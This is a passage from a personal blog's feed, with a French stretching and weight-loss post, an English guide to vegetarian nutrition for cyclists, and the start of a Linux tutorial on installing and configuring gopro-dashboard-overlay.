&lt;li&gt;Relaxation de la nuque, 5 rotations lentes de la tête en la faisant pencher dans un sens, 5 dans l'autre.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/shorts/1rVdbHYz3C0"&gt;Correction de la posture de la colonne vertébrale contre un mur&lt;/a&gt; : 10 reps&lt;/li&gt;
&lt;li&gt;Allongé sur le dos, jambes en tailleur, pieds joints, laisser les jambes tomber sur le côté sans forcer, 30 secondes.&lt;/li&gt;
&lt;li&gt;Assis en tailleur, dos droit incliné vers l'avant, pieds joints tenus par les mains, on appuie légèrement graduellement sur les mollets avec les avant-bras pour ramener les genoux le plus bas possible. 2 reps, 30 secondes chacune. Version dynamique en appuyant par à-coups sur les cuisses, et non progressivement, mais lentement quand même.&lt;/li&gt;
&lt;li&gt;Allongé sur le dos, croiser la cheville droite sur la cuisse gauche. Attraper la cuisse gauche derrière le genou, la tête posée sur le sol et tirer la vers jambe vers le buste progressivement. 2 reps de 30 secondes pour chaque jambe.&lt;/li&gt;
&lt;li&gt;1 minute de neurodynamique du nerf sciatique : voir &lt;a href="https://www.youtube.com/watch?v=TeqzyDnawTI&amp;amp;t=390"&gt;Comment TOUCHER SES PIEDS? ( routine COMPLÈTE expliquée )&lt;/a&gt; à partir de 6'30.&lt;/li&gt;
&lt;li&gt;Debout, se pencher en avant, les mains qui pendent vers le sol, en respirant lentement : à chaque respiration, essayer de descendre un peu plus bas et toucher les mains au sol. 2 reps, 30 secondes chacune. Cela permet d'étirer les muscles ischio-jambiers. Exercice alternatif : &lt;a href="https://youtu.be/sSdsH7F32Jo?t=128"&gt;assis, une jambe tendue, l'autre pliée avec le pied contre la cuisse opposée&lt;/a&gt;. On essaie d'atteindre chaque pied en alternant les jambes.&lt;/li&gt;
&lt;li&gt;Debout, un pied devant l’autre, la jambe avant fléchie et la jambe arrière tendue. Pousser le talon de la jambe arrière dans le sol, garder le buste droit (les mains sur la taille). Cet exercice peut être fait face à un mur comme support. 2 reps de 30 secondes chacune par jambe. Permet de travailler les mollets.&lt;/li&gt;
&lt;li&gt;Le classique &lt;a href="https://www.youtube.com/watch?v=rvrY8tWBT-U"&gt;étirement du psoas&lt;/a&gt;, en partant d'une position de chevalier au sol, un genoux en sol, le pied à l'arrière posé à l'envers, et en s'avançant vers l'avant, dos droit. 2 reps de 30 secondes par jambes&lt;/li&gt;
&lt;li&gt;Allongé au sol à côté d'un mur, caler les fesses contre le sol et le mur, jambes en l'air le plus droit possible contre le mur à la verticale. Plier les genoux si trop difficile. 30 secondes.&lt;/li&gt;
&lt;li&gt;Optionnel, en cas de fasciite plantaire: &lt;a href="https://romainpellerin.eu/plantar-fasciitis.html"&gt;aller voir cet article&lt;/a&gt; (6 * 30 reps sur un pied (protocole de Stanish) avec du poids, en portant des altères par exemple). Idéalement il faudrait faire ces exercices plusieurs fois par jour pour vraiment accélérer la guérison.&lt;/li&gt;
&lt;li&gt;On peut rajouter en bonus si on a le temps un squat de 30 secondes, les pieds à plat si possible, le plus bas possible, les mains liées bien en avant pour faire contre poids.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;a href="https://m.media-amazon.com/images/I/61YIShGEJGL._AC_UF1000,1000_QL80_.jpg"&gt;La routine de Bob Anderson&lt;/a&gt; est une alternative classique à ma routine quotidienne, assez répandue.&lt;/p&gt;
&lt;p&gt;D'autres routines que j'aime bien :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=iQc4lLYljbk"&gt;Beginner stretching routine! For TikTok&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=eQHmKJh20_c"&gt;What stretches to do in 10 minutes. Follow along.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=zNhqYaa79jY"&gt;Souplesse &amp;amp; Mobilité à Suivre en 15min ✔️ (Tout le corps sans matériel)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=TeqzyDnawTI"&gt;Comment TOUCHER SES PIEDS? ( routine COMPLÈTE expliquée )&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=PX1mLdKFD_w"&gt;Comment Corriger Sa Posture En 10 Minutes ! (POUR TOUJOURS)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=ui3ToKZtKIs"&gt;FIX Tight Hamstrings in Just 3 Steps&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Une routine axée sur la course à pied : &lt;a href="https://www.youtube.com/watch?v=80EvnW-GSHo"&gt;5' par jour d'exercices de mobilité = moins de blessures ET plus de performance&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Une routine qui travaille la mobilité : &lt;a href="https://www.youtube.com/watch?v=oMg6WYXb49M"&gt;DEBLOQUE ta MOBILITE en 5 minutes avec cette ROUTINE ultra COMPLETE.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Une routine pour travailler ses splits : &lt;a href="https://www.youtube.com/watch?v=0PSyHeb298g"&gt;Comment Devenir Souple TRÈS Vite ✔️ (j'ai essayé...)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Pour aller plus loin sur le sujet de la souplesse, quelques liens :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.3bikes.fr/2021/05/05/le-travail-de-la-mobilite-pour-etre-plus-performant-et-eviter-les-blessures/"&gt;Le travail de la mobilité pour être plus performant et éviter les blessures&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Aucun étirement pré activité physique (course à pied, vélo, etc), seulement des échauffements. Quant aux étirements post-exercice, ils ne sont pas forcément utiles, cela dépends des gens : &lt;a href="https://www.youtube.com/watch?v=m6fuqkM0UX4"&gt;Quand faut il s'étirer ? kiné&lt;/a&gt;. À 3'10, la vidéo parle des étirements statiques (afin de réduire des douleurs) vs exercices de mobilité dynamiques (pour gagner en amplitude de mouvement).&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;RDV dans 4 mois 😉&lt;/p&gt;
&lt;h1 id="mise-a-jour-2023-11-01"&gt;Mise à jour : 2023-11-01&lt;/h1&gt;
&lt;p&gt;Ça y est je viens de toucher le sol, il y a quelques minutes !!! Et pas qu'une fois ! Techniquement, on était encore le 31 Octobre ! Bon, de la pointe de doigts certes mais c'était mon objectif !&lt;/p&gt;
&lt;p&gt;Depuis deux mois, après une progression rapide les premiers jours, j'ai été de moins en moins assidu, au point de ne m'étirer presque plus qu'une fois par semaine. Alors il y a plusieurs jours, je me suis repris en main, étirements tous les jours, et depuis 2 jours, 3 fois par jours ! Et là, miracle, progression de ouf ! Jusqu'à aujourd'hui : après 10 minutes passées à descrendre progressivement, j'y suis arrivé, j'ai touché le sol ! Allez, on continue comme ça, objectif pour fin décembre : ne plus mettre 10 minutes à toucher le sol, mais quelques minutes, idéalement presque réussir à froid ? Ça s'annonce pas simple :D&lt;/p&gt;
&lt;p&gt;Concernant le poids, le graphe parle de lui-même... 🎉&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/poids-aout-octobre-2023.png" alt="Courbe de poids" /&gt;
&lt;figcaption&gt;Évolution de mon poids de fin Août à fin Octobre 2023&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Maintenant, on stabilise ça jusqu'à fin décembre, et on essaye de moins compter les calories !&lt;/p&gt;
&lt;h1 id="mise-a-jour-2024-01-13"&gt;Mise à jour : 2024-01-13&lt;/h1&gt;
&lt;p&gt;Annnd it's a wrap! Ça y est, les 4 mois sont passés. Où en suis-je ? Y suis-je parvenu ? Ai-je maintenu mes 75 kgs ? Est-ce que je touche toujours le sol avec mes doigts ? OUI et OUI ! 🎉&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/poids-aout-2023-janvier-2024.png" alt="Courbe de poids" /&gt;
&lt;figcaption&gt;Évolution de mon poids de fin Août à début 2024&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Indéniablement, le mois de décembre aura fait quelques dégats, mais rien d'irréparable ! On continue tout ça sur 2024 maintenant ! :)&lt;/p&gt;</content><category term="About me"></category><category term="weight"></category><category term="flexibility"></category></entry><entry><title>Cycling and Being Vegetarian</title><link href="https://romainpellerin.eu/cycling-and-being-vegetarian.html" rel="alternate"></link><published>2023-08-06T20:00:00+02:00</published><updated>2024-01-04T00:47:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2023-08-06:/cycling-and-being-vegetarian.html</id><summary type="html">&lt;p&gt;Because nutrition is complex, here's an article about basics and a couple of recipes&lt;/p&gt;</summary><content type="html">&lt;p&gt;Let's face it: nutrition is not an easy topic. And it gets even harder when you're vegetarian and you like to exercise a little more than the average person.&lt;/p&gt;
&lt;p&gt;I've read many articles, some good, some bad, but at the end of the day what I really want and need is a list of recipes for:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;My everyday life, to remain fit, healthy, and maximize muscle recovery after my weekend rides.&lt;/li&gt;
&lt;li&gt;Races: I'm never so sure what to eat on the days leading up to the race, during the race, and after.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So here goes. This article will cover some basics and give a couple of recipes.&lt;/p&gt;
&lt;h1 id="basics"&gt;Basics&lt;/h1&gt;
&lt;p&gt;Any cyclist (or athlete really) needs proteins and nutrients to perform well on the bike but also promote recovery.&lt;/p&gt;
&lt;h2 id="first-vocabulary"&gt;First, vocabulary&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Grains are the seeds of grasses. Examples include: wheat, corn, oats, and rice&lt;/li&gt;
&lt;li&gt;Pulses are the seeds of legumes. Examples include: beans, peas, lentils, soybeans, peanuts, and chickpeas.&lt;/li&gt;
&lt;li&gt;Nuts are the seeds of trees. Examples include: walnuts, hazelnuts, and pecans.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="proteins"&gt;Proteins&lt;/h2&gt;
&lt;p&gt;As a vegetarian, proteins can be found in:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Dairy foods&lt;/li&gt;
&lt;li&gt;Eggs&lt;/li&gt;
&lt;li&gt;Nuts&lt;/li&gt;
&lt;li&gt;Seeds&lt;/li&gt;
&lt;li&gt;Beans&lt;/li&gt;
&lt;li&gt;Lentils&lt;/li&gt;
&lt;li&gt;Soya products (tofu, tempeh)&lt;/li&gt;
&lt;li&gt;Wholegrains (such as bread, oats, pasta, rice and millet)&lt;/li&gt;
&lt;li&gt;Quinoa&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Only chia seeds, soya and quinoa have all 8 essential amino acids. (&lt;a href="https://www.chemicalforums.com/index.php?topic=83121.0"&gt;are there 8 or 9 essential amino acids?&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;The solution is to combine different sources of proteins:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;grains with &lt;a href="https://pulses.org/what-are-pulses/visual-guide-to-pulses"&gt;pulses&lt;/a&gt; (&lt;em&gt;céréales et légumineuses&lt;/em&gt;): rice/whole wheat pasta and black beans/kidney beans, rice and lentils&lt;/li&gt;
&lt;li&gt;grains with dairy: muesli and milk, porridge (rolled oats (&lt;em&gt;flocons d'avoine&lt;/em&gt;) and milk) - apparently (raw overnight oats are healthier than cooked oats)[https://simplyoatmeal.com/benefits-of-overnight-oats-vs-cooked-oats/]&lt;/li&gt;
&lt;li&gt;soya with vegetables: tofu and vegetable stir-fry&lt;/li&gt;
&lt;li&gt;grains or pulses with nuts&lt;/li&gt;
&lt;li&gt;dairy or eggs with vegetables&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="iron"&gt;Iron&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;The type of iron found in plants is less easy for your body to absorb than is the iron found in meat. However, you can increase the amount absorbed by eating a vitamin C-rich food (i.e. fruit, vegetables) at the same time as iron-rich foods. -- (&lt;a href="https://www.cyclingweekly.com/fitness/nutrition/cyclists-guide-following-vegetarian-diet-302982"&gt;source&lt;/a&gt;)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Good plant sources of iron include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Wholegrains&lt;/li&gt;
&lt;li&gt;Quinoa&lt;/li&gt;
&lt;li&gt;Nuts&lt;/li&gt;
&lt;li&gt;Seeds&lt;/li&gt;
&lt;li&gt;Beans&lt;/li&gt;
&lt;li&gt;Lentils&lt;/li&gt;
&lt;li&gt;Leafy green vegetables: spinach, broccoli, etc&lt;/li&gt;
&lt;li&gt;Dried fruit&lt;/li&gt;
&lt;li&gt;Egg yolk&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Good sources of vitamin C are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Cooked broccoli&lt;/li&gt;
&lt;li&gt;Brussels sprouts&lt;/li&gt;
&lt;li&gt;Kale (&lt;em&gt;chou frisé&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;Raw spinach&lt;/li&gt;
&lt;li&gt;Kiwis&lt;/li&gt;
&lt;li&gt;Oranges&lt;/li&gt;
&lt;li&gt;Strawberries&lt;/li&gt;
&lt;li&gt;Lemons&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="https://und.edu/student-life/dining/_files/docs/fact-sheets/iron.pdf"&gt;Vinegar also helps with iron absorption.&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="omega-3"&gt;Omega-3&lt;/h2&gt;
&lt;p&gt;Oomega-3 fats are found in three different forms: DHA, EPA and ALA. ALA is most abundant in plant-based sources, but DHA and EPA are difficult to obtain on a vegetarian diet.&lt;/p&gt;
&lt;p&gt;Also, omega-3 rich food is also usually rich in omega-6. It is recommended to preserve a balance omega-6/omega-3 pretty low, around 4:1.&lt;/p&gt;
&lt;p&gt;Sources of omega-3 fats are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Flax seeds (&lt;em&gt;graines de lin&lt;/em&gt;) (great omega-6/omega-3 ratio: 1:4)&lt;/li&gt;
&lt;li&gt;Chia seeds (omega-6/omega-3 ratio: 1:3) - &lt;a href="https://www.medichecks.com/blogs/news/omega-6-3-experiment-part-2-the-results"&gt;ground seeds are better than whole seeds when it comes to omega-3 availability&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Walnuts (4:1)&lt;/li&gt;
&lt;li&gt;Kidney Beans (1:2)&lt;/li&gt;
&lt;li&gt;Pumpkin seeds (100:1)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These provide alpha linoleic acid (ALA), which is converted to EPA and DHA in the body, but only at a limited rate. A good way to get more EPA and DHA is through Algal oil. &lt;a href="https://www.medicalnewstoday.com/articles/323144#fish-and-seafood-sources"&gt;Seaweed, nori, spirulina, and chlorella are different forms of algae containing DHA and EPA.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.vegansociety.com/resources/nutrition-and-health/nutrients/omega-3-and-omega-6-fats"&gt;More on fats and omega-3 here&lt;/a&gt;.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/omega-3-omega-6.webp" alt="An image showing omega 3 and 6 sources" /&gt;
&lt;figcaption&gt;&lt;a href="https://www.medichecks.com/blogs/news/omega-6-3-experiment-part-1"&gt;Omega 3 and 6 sources&lt;/a&gt;&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h2 id="b12"&gt;B12&lt;/h2&gt;
&lt;p&gt;As a vegetarian, B12 is normally never an issue.&lt;/p&gt;
&lt;h1 id="some-ideas-of-recipes"&gt;Some ideas of recipes&lt;/h1&gt;
&lt;h2 id="everyday-life"&gt;Everyday life&lt;/h2&gt;
&lt;h3 id="very-often"&gt;Very often&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;1 tablespoon a day of chia seeds or flax seeds for omega-3, in a salad, in a dairy product, or in anything really&lt;/li&gt;
&lt;li&gt;Any combination of grains with pulses such as pasta (whole wheat) or rice with lentils or beans&lt;/li&gt;
&lt;li&gt;Quinoa&lt;/li&gt;
&lt;li&gt;Leafy greens: Kale, Spinach, Broccoli, Iceberg lettuce, etc&lt;/li&gt;
&lt;li&gt;Nuts: cashews, or walnuts being the best of all. In a salad or yogurt. Nuts are calorically dense, so limit to a small handful per day.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="often"&gt;Often&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Eggs&lt;/li&gt;
&lt;li&gt;Tofu&lt;/li&gt;
&lt;li&gt;Dairy products (avoid cheese as there's a lot of fat): yogurts or Skyr, with rolled oats or muesli, and flex seeds&lt;/li&gt;
&lt;li&gt;Other pulses: chickpeas, green peas&lt;/li&gt;
&lt;li&gt;Tomatoes: vitamin C and antioxidant&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="things-to-eat-rarely"&gt;Things to eat rarely&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;White pasta (prefer whole wheat pasta, as it contains less carbs (carbohydrates, &lt;em&gt;glucides&lt;/em&gt;) and a lot more nutrients)&lt;/li&gt;
&lt;li&gt;Processed protein sources such as seitan: unhealthy fats&lt;/li&gt;
&lt;li&gt;Cookings oils (&lt;a href="https://www.healthline.com/nutrition/optimize-omega-6-omega-3-ratio"&gt;olive oil is mostly ok though and has other advantages&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="races-2-hours-or-cyclosportive"&gt;Races (&amp;gt; 2 hours, or cyclosportive)&lt;/h2&gt;
&lt;h3 id="days-before-2-3-days"&gt;Days before (2-3 days)&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://www.cyclingweekly.com/fitness/nutrition/do-cyclists-really-need-to-carb-load-before-a-big-ride-284707"&gt;Carb loading&lt;/a&gt;! Porridge, bread, potatoes, rice, pasta. On the night prior to the race, prefer whole wheat pasta as its more nutritious, but in the morning before the race, prefer white pasta, as you'll need more energy and you'll want it available faster.&lt;/p&gt;
&lt;h3 id="on-the-d-day"&gt;On the D-Day&lt;/h3&gt;
&lt;p&gt;For breakfast, my go-to recipe is porridge (overnight soaked rolled oats with cow's milk) or muesli mix served with Skyr and a sliced banana, one or two fried eggs, and some white pasta. Make sure to eat at least 3 hours before the start.&lt;/p&gt;
&lt;p&gt;During the race, energy bars, gels, some dried fruits and bananas should do. Do drink clean water but also water with added electrolytes.&lt;/p&gt;
&lt;p&gt;Replenish your carbohydrates stocks after the race with pasta, but also protein-rich food.&lt;/p&gt;
&lt;h1 id="good-online-resources"&gt;Good online resources&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.cyclingweekly.com/fitness/nutrition/cyclists-guide-following-vegetarian-diet-302982"&gt;A cyclist's guide to following a vegetarian diet&lt;/a&gt; (French translation &lt;a href="https://www.velo101.com/entrainements/nutrition/suivre-un-regime-vegetarien-ou-vegetalien-en-etant-cycliste-le-guide-complet/"&gt;here&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.britishcycling.org.uk/knowledge/nutrition/get-started/article/izn20150310-Intermediate-Cycling-on-a-vegetarian-or-vegan-diet-0"&gt;Cycling on a vegetarian or vegan diet&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.bikeradar.com/advice/nutrition/how-to-stay-at-peak-cycling-performance-on-a-vegetarian-diet/"&gt;How to stay at peak cycling performance on a vegetarian diet&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=tdmfV5GiBEs"&gt;Les 9 Aliments Incontournables à Toujours avoir dans vos placards !&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Bikes"></category><category term="cycling"></category><category term="bike"></category><category term="vegetarian"></category><category term="food"></category><category term="diet"></category></entry><entry><title>Creating GPX overlay videos on Linux</title><link href="https://romainpellerin.eu/creating-gpx-overlay-videos-on-linux.html" rel="alternate"></link><published>2023-07-26T17:30:00+02:00</published><updated>2025-01-22T11:46:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2023-07-26:/creating-gpx-overlay-videos-on-linux.html</id><summary type="html">&lt;p&gt;A tutorial about adding GPX data on top of videos (speed, heart rate, etc)&lt;/p&gt;</summary><content type="html">&lt;p&gt;Just because I found &lt;a href="https://blog.cubieserver.de/2022/creating-gpx-overlay-videos-on-linux/"&gt;this article&lt;/a&gt; so good but a bit too long, I'm creating my own.&lt;/p&gt;
&lt;p&gt;Up until now, I was relying on the infamous Virb Edit program from Garmin to create videos with GPX data on top. But this software is only available on Mac and Windows, and also outdated and unmaintained, it does not support HEVC videos. So I started looking for another solution that would work on Linux and be ideally dead simple, with no GUI. Also, I was very tired of having to export the GPX data on top of an existing video. Wouldn't it be great to be able to export a video with a transparent background, that I can then put on top of any other footage? GoPro videos, Insta360 videos, any! That would preserve the quality of the video (no need to re-encode it in Virb and then in the final montage software).&lt;/p&gt;
&lt;p&gt;I found salvation in &lt;a href="https://github.com/time4tea/gopro-dashboard-overlay"&gt;gopro-dashboard-overlay&lt;/a&gt;! It does all of that! No GUI, can export just a transparent video with the GPX data only but also on top of an existing footage, supports as many formats and codecs as does FFMPEG, and of course works on Linux!&lt;/p&gt;
&lt;p&gt;So here is my TL;DR tutorial on how to use it:&lt;/p&gt;
&lt;h1 id="1-install-the-project"&gt;1. Install the project&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;git clone git@github.com:time4tea/gopro-dashboard-overlay.git
&lt;span class="nb"&gt;cd&lt;/span&gt; gopro-dashboard-overlay
python3 -m venv .env
&lt;span class="nb"&gt;source&lt;/span&gt; .env/bin/activate
sudo apt install pkg-config libcairo2-dev
pip3 install -r requirements.txt
pip3 install gopro-overlay
sudo apt install fonts-roboto
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="2-setup"&gt;2. Setup&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;mkdir ~/.gopro-graphics/
vim ~/.gopro-graphics/ffmpeg-profiles.json
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;vp9&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;input&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[],&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;output&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;-vcodec&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;vp9&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;-pix_fmt&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;yuva420p&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;-r&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;5&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;mp4&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;input&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[],&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;output&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;-vcodec&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;libx264&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;-r&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;25&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;png&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;input&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[],&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;output&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;-vcodec&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;png&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;vim ~/Documents/my-layout-1920x1080.xml
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;layout&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;composite&lt;/span&gt; &lt;span class="na"&gt;x=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;20&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;y=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;20&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;date_and_time&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
